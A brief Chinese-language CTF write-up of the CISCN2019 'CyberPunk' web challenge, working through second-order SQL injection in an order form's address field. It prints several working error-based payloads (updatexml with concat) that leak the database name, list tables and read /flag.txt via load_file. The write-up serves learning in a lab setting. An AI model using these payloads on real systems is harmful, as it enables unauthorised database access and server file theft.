[CISCN2019 华北赛区 Day1 Web5]CyberPunk --不会编程的崽
继续sql,哈哈。我按照我的思路来讲。
四个功能,提交,查找,修改,删除。多半是sql注入,而且又有修改,查找功能。多半还是二次注入。昨天那个修改密码的,也是二次注入。这里需要先找到注入点 姓名 电话 地址三选一。我最先怀疑的是地址,因为无论哪个功能,都需要输入姓名,电话。相反地址才是会因为查询而二次带入sql语句的。再去fuzz一下。似乎,对地址这没什么过滤。要注意,每次订单的名字或者电话不能一样。先构造payload吧
地址:admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
然后查询订单,发现原封不动的回显。修改订单试试呢。
果然报错了。继续构造就行 。继续爆表
地址:admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('ctfusers')),0x7e),1))#
然后安装正常思路,应该去爆表。但是,,,我爆了很久,都没发现flag的表。然后又去看了大佬的wp。原来要读取flag.txt文件。
地址:admin'or(updatexml(1,concat(0x7e,right((select(load_file('/flag.txt'))),20),0x7e),1))#
因为这还是存在长度限制。然后我又使用了right函数。读取左边把right函数去掉就行
地址:admin'or(updatexml(1,concat(0x7e,(select(load_file('/flag.txt'))),0x7e),1))#
flag就拿到了。然后我又去看来大佬的IP,原来这里还存在文件读取漏洞,可以读取到源码。。。
看来细节方面还有待提升